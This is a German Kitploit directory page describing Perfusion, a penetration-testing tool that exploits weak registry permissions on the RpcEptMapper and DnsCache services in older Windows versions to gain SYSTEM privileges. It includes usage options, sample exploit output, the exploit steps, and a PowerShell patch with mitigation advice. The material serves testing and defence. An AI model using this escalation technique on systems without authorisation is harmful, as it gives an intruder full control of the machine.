Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Perfusion — Exploit für die Sicherheitslücke der RpcEptMapper-Registrierungsschlüssel-Berechtigungen (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
Tools/GitHubGitHub/itm4n/perfusion
Privilege EscalationSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsArchived
GitHubitm4n/perfusion

Perfusion

Exploit für die Sicherheitslücke der RpcEptMapper-Registrierungsschlüssel-Berechtigungen (Windows 7 / 2088R2 / 8 / 2012)

Repository anzeigen
42775vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

Perfusion

Unter Windows 7, Windows Server 2008R2, Windows 8 und Windows Server 2012 ist der Registrierungsschlüssel der Dienste RpcEptMapper und DnsCache (nur 7/2008R2) mit schwachen Berechtigungen konfiguriert. Jeder lokale Benutzer kann einen Unterschlüssel Performance erstellen und dann die Windows-Leistungsindikatoren nutzen, um eine beliebige DLL im Kontext des WMI-Dienstes als NT AUTHORITY\SYSTEM zu laden (daher der Name des Tools).

Dieses Tool soll Sicherheitsberater bei Penetrationstests unterstützen. Diese Software wird ohne Gewähr bereitgestellt, und ich werde wahrscheinlich keinen Support leisten. Ich habe es jedoch auf drei verschiedenen virtuellen Maschinen gründlich getestet, sodass es keine größeren Probleme geben sollte.

Weitere Informationen: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ Update 2021-04-21

Laut 0patch wurde diese Sicherheitslücke mit dem Windows-Update vom April 2021 (ESU) teilweise behoben. Maschinen, die eine aktualisierte Version von Windows 8 / Server 2012 ausführen, sollten nicht mehr ausnutzbar sein. Windows 7 / Server 2008 R2 bleibt jedoch weiterhin anfällig. Sie müssen lediglich den Registrierungsschlüssel Dnscache anstelle von RpcEptMapper verwenden. Ich habe den PoC aktualisiert, sodass Sie ihn manuell mit der Option -k angeben können.

Bekannte Probleme

⚠️ LESEN SIE DIES, BEVOR SIE DIESES TOOL VERWENDEN ⚠️

Während der Entwicklung dieses Tools habe ich zwei verschiedene Verhaltensweisen beobachtet:

  1. Die DLL wird direkt vom Hauptprozess des WMI-Dienstes als NT AUTHORITY\SYSTEM geladen – in diesem Fall funktioniert der Exploit einwandfrei.
  2. Die DLL wird von einem Unterprozess des WMI-Dienstes geladen, der als NT AUTHORITY\LOCAL SERVICE läuft. In diesem Fall lädt der Dienst die DLL unter Identitätswechsel des Clients. Es stellt sich heraus, dass eine Rechteausweitung unter Windows 7 immer noch möglich ist (aufgrund einer anderen Sicherheitslücke), aber der Implementierungsaufwand war den Aufwand nicht wert.

Ich kann diesen Unterschied nicht erklären, da mein Trigger-Code immer derselbe war. Lassen Sie in jedem Fall den Exploit seine Arbeit tun, damit er nach Abschluss alles bereinigen kann. Wenn der Exploit fehlschlägt, besteht immer noch die Möglichkeit, dass er einige Minuten oder Stunden später funktioniert.

✔️ So sollte die Ausgabe aussehen, wenn der Exploit funktioniert:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ So sollte die Ausgabe aussehen, wenn der Exploit fehlschlägt:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

Build-Anleitung

Diese Lösung besteht aus zwei Projekten, die in einer bestimmten Reihenfolge kompiliert werden müssen. Alles ist vorkonfiguriert, befolgen Sie einfach diese einfachen Anweisungen:

  1. Öffnen Sie die Projektmappe mit Visual Studio 2019
  2. Wählen Sie Release / x64
  3. Build > Projektmappe erstellen

Verwendung

Sie können die Hilfemeldung mit der Option -h anzeigen.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

Abhilfe / Patch

Die folgenden Windows-Versionen sind anfällig:

Windows-VersionAnfällige Registrierungsschlüssel
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

Soweit ich weiß, wird diese Sicherheitslücke von Microsoft aus irgendeinem Grund nicht behoben. Die beste Lösung ist ein Upgrade auf Windows 10 / Server 2019. Falls dies kurzfristig nicht möglich ist, können Sie das Problem selbst beheben, indem Sie die Berechtigung CreateSubKey für sowohl NT AUTHORITY\Authenticated Users als auch BUILTIN\Users für die folgenden Registrierungsschlüssel entfernen:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

Ich habe einen Patch für diese Sicherheitslücke in Form eines PowerShell-Skripts erstellt: RegistryPatch.ps1. Dieses Skript entfernt das Recht CreateSubKey für die beiden oben genannten Registrierungsschlüssel für die folgenden Identitäten: NT AUTHORITY\INTERACTIVE, BUILTIN\Users und/oder BUILTIN\Authenticated Users.

  • Überprüfen, ob eine Maschine anfällig ist: (hier Windows Server 2012)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Patch anwenden: (hier Windows Server 2008 R2)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

Wie funktioniert dieser Exploit?

Im Folgenden sind die Exploit-Schritte aufgeführt, die in diesem Tool implementiert sind:

  1. Ein Prozess wird im Hintergrund in einem angehaltenen Zustand erstellt (unter Verwendung der angegebenen Befehlszeile).
  2. Die eingebettete Payload-DLL wird in den Temp-Ordner des aktuellen Benutzers geschrieben.
  3. Ein Schlüssel Performance wird unter HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper erstellt und mit den entsprechenden Werten befüllt, einschließlich des vollständigen Pfads der in Schritt 2 erstellten DLL.
  4. Die WMI-Klasse Win32_Perf wird erstellt und aufgerufen, um die Sammlung von Windows-Leistungsindikatoren auszulösen.
  5. Die DLL wird vom WMI-Dienst entweder als NT AUTHORITY\SYSTEM oder als NT AUTHORITY\LOCAL SERVICE geladen.
  6. Wenn die DLL von NT AUTHORITY\SYSTEM geladen wird, wird dessen Token dupliziert und auf den in Schritt 1 vom Benutzer erstellten Prozess angewendet.
  7. Alles wird bereinigt und der Hauptthread des angehaltenen Prozesses wird fortgesetzt.
Tool herunterladen